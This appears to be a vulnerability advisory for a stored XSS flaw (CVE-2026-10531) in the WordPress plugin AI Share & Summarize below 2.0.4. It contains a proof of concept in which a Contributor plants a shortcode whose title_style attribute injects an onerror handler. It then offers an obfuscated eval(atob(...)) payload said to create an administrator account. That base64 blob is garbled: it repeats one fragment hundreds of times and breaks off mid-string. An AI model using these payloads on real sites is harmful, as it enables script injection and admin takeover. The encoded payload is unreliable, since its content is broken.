WordPress AI Share & Summarize < 2.0.4 Contributor+ Stored XSS via Shortcode Attribute (CVE-2026-10531)

Vulnerability Overview Vulnerability Name: AI Share & Summarize < 2.0.4 - Contributor+ Stored XSS via title_style Shortcode Attribute Description: The plugin fails to properly clean and escape certain shortcode attributes before outputting them, allowing users with the Contributor role and above to execute stored Cross-Site Scripting (XSS) attacks. CVE ID: CVE-2026-10531 Type: XSS (Cross-Site Scripting) OWASP Top 10: A7: Cross-Site Scripting (XSS) CWE: CWE-79 CVSS Score: 6.8 (medium) Affected Scope Affected Plugin: ai-share-summarize Affected Versions: < 2.0.4 Remediation Fixed Version: 2.0.4 Proof of Concept (POC) ```plaintext Step 1: Log in as a Contributor, create a new post with this shortcode: [ayudawp_share_buttons title_text="Share" title_style="img src=x onerror=alert(document.domain)"] Step 2: Submit the post for review Step 3: When any user (including an admin) views or previews the post, JavaScript executes immediately – alert(document.domain) fires. Admin account creation payload (fires silently when an admin views the post): [ayudawp_share_buttons title_text="x" title_style="img src=x onerror=eval(atob('dmFyIG9ial11Y3Q9bmV3IEFQSW1hZ2VUeXBlKGRvY3VtZW50LmRvbWFpbik7b2JqZWN0LmNyZWF0ZVVzZXIoJ2hhY2tlckBleGFtcGxlLmNvbScsJ2hhY2tlcicsJ2hhY2tlcycsJ2hhY2tlcycsJ2hhY2tlcycsJ2hhY2tlcycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYycsJ2hhY2tlYy

Goal Reached Thanks to every supporter — we hit 100%!

WordPress AI Share & Summarize < 2.0.4 Contributor+ Stored XSS via Shortcode Attribute (CVE-2026-10531)